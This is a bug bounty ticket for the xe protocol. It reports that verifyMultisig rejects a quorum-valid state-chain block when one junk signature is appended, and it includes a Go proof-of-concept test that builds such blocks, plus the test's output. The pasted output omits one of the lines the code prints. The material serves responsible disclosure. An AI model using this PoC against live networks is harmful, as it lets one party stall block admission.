<!-- XE-0946 · One junk signature in a statechain list rejects a quorum-valid block · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0946>. The page is the record; this is the same page for reading.*

XE-0946 · Bounty

# One junk signature in a statechain list rejects a quorum-valid block

Triaging
claimed Minor
web
filed 2026-11-06 20:03 UTC
by byfor8

Verdict
:   published when the fix ships

Tier
:   published when the fix ships

Claimed
:   Minor

Area
:   Consensus

Duplicate of
:   —

Tracked
:   —

Updated
:   2026-11-08 20:17 UTC

Told
:   2026-11-08 20:18 UTC

### Patches

None linked.

### History

- [43597](https://bounty.xe.network/log/43597) 2026-11-08 20:18 UTC proposal.adopted
- [43596](https://bounty.xe.network/log/43596) 2026-11-08 20:18 UTC reply.sent
- [41993](https://bounty.xe.network/log/41993) 2026-11-08 20:18 UTC proposal.adopted
- [41992](https://bounty.xe.network/log/41992) 2026-11-08 20:18 UTC proposal.adopted
- [41991](https://bounty.xe.network/log/41991) 2026-11-08 20:18 UTC ticket.facts
- [41990](https://bounty.xe.network/log/41990) 2026-11-08 20:18 UTC proposal.adopted
- [41989](https://bounty.xe.network/log/41989) 2026-11-08 20:18 UTC ticket.facts
- [41988](https://bounty.xe.network/log/41988) 2026-11-08 20:18 UTC proposal.adopted
- [41987](https://bounty.xe.network/log/41987) 2026-11-08 20:18 UTC ticket.facts
- [41986](https://bounty.xe.network/log/41986) 2026-11-08 20:18 UTC proposal.adopted
- [41985](https://bounty.xe.network/log/41985) 2026-11-08 20:18 UTC ticket.facts
- [41984](https://bounty.xe.network/log/41984) 2026-11-08 20:18 UTC proposal.adopted

[Full history](https://bounty.xe.network/log?ref=XE-0946) · [JSON](https://bounty.xe.network/v1/tickets/XE-0946) · [markdown](https://bounty.xe.network/XE-0946.md)

### Report

## Summary

verifyMultisig is supposed to count valid keyset signatures against the DAO threshold and admit a block that already has enough good signatures. At statechain/chain.go:227-254 it returns on the first signer-not-in-keyset entry (:246-248) and on the first VerifySignature error (:250-252), instead of skipping invalids and tallying the rest. A 2-of-3 block with two valid signatures plus one junk extra is therefore dropped entirely. AddBlock on a state-chain block with a mixed signature list is the production path. GitHub #45 is empty-sig-list spam and #6/#93 is threshold ignored on the lease family; here a threshold-satisfying set is rejected because a junk extra is present.

## Affected components

statechain/chain.go:227-254 verifyMultisig (return on first unknown key at :246-248 and first VerifySignature error at :250-252) at xe 02e9641b0ac64437f57e09d63301f88cce61a802.

## Impact

DAO state-chain progress stops for that block even though the remaining signatures meet 2-of-3. One extra junk entry, from a non-keyset key or a bad sig by a keyset member, is enough. Any single malicious or buggy keyset member can DoS that block's admission.

## PoC

```
package round3

import (
	"encoding/json"
	"fmt"
	"strings"
	"testing"

	"github.com/xeprotocol/xe/core"
	"github.com/xeprotocol/xe/statechain"
	"github.com/xeprotocol/xe/store"
)

func TestPoC_B10(t *testing.T) {
	fmt.Printf("PROVENANCE: xe=%s file=poc/round3/b10_junk_sig_test.go\n", pinXE)
	k1, k2, k3 := mustKey(t), mustKey(t), mustKey(t)
	pubs := []string{k1.PubKeyHex(), k2.PubKeyHex(), k3.PubKeyHex()}
	gen, err := genesisDAO(pubs, 2)
	if err != nil {
		t.Fatalf("genesis: %v", err)
	}
	ms := store.NewMemStore()
	chain, err := statechain.NewChain(ms, gen)
	if err != nil {
		t.Fatalf("NewChain: %v", err)
	}

	mk := func(signers ...*core.KeyPair) *statechain.Block {
		tip := chain.Tip()
		note, _ := json.Marshal("x")
		b := &statechain.Block{
			Index:     tip.Index + 1,
			PrevHash:  tip.Hash,
			Timestamp: tip.Timestamp + 1,
			Ops:       []statechain.Op{{Action: statechain.ActionSet, Key: "poc.note", Value: note}},
		}
		if err := signStateBlock(b, signers...); err != nil {
			t.Fatalf("sign: %v", err)
		}
		return b
	}

	ctrl := mk(k1, k2)
	ctrlErr := chain.AddBlock(ctrl)
	fmt.Printf("CONTROL 2-of-3 valid AddBlock err=%v\n", ctrlErr)

	atk := mk(k1, k2)
	atk.Signatures = append(atk.Signatures, statechain.BlockSignature{
		PublicKey: strings.Repeat("ff", 32),
		Sig:       strings.Repeat("00", 64),
	})
	atkErr := chain.AddBlock(atk)
	fmt.Printf("ATTACK 2 valid + 1 junk-key sig AddBlock err=%v\n", atkErr)

	junkMember := mk(k1, k2)
	junkMember.Signatures = append(junkMember.Signatures, statechain.BlockSignature{
		PublicKey: k3.PubKeyHex(),
		Sig:       strings.Repeat("11", 64),
	})
	junkErr := chain.AddBlock(junkMember)
	fmt.Printf("ATTACK 2 valid + 1 junk-sig from keyset member err=%v\n", junkErr)

	if ctrlErr == nil && atkErr != nil && junkErr != nil {
		fmt.Println("PASS: 2-of-3 valid block is accepted; the same two sigs plus one junk entry are rejected entirely")
		fmt.Println("VERDICT=CONFIRMED")
		return
	}
	fmt.Println("VERDICT=KILLED")
}
```

```
CONTROL 2-of-3 valid AddBlock err=<nil>
ATTACK 2 valid + 1 junk-key sig AddBlock err=signer ffffffffffff not in keyset
PASS: 2-of-3 valid block is accepted; the same two sigs plus one junk entry are rejected entirely
```

## Suggested fix

## Skip invalid signatures and count remaining valid ones against the threshold. Do not fail the whole list on the first junk entry.

### Thread

**Joseph Denne**team2026-11-08 20:17 UTCdesk

Thank you for the report. We have read it in full and confirmed the behaviour in the code; it is being handled and we will update you here once the team has ruled on it.
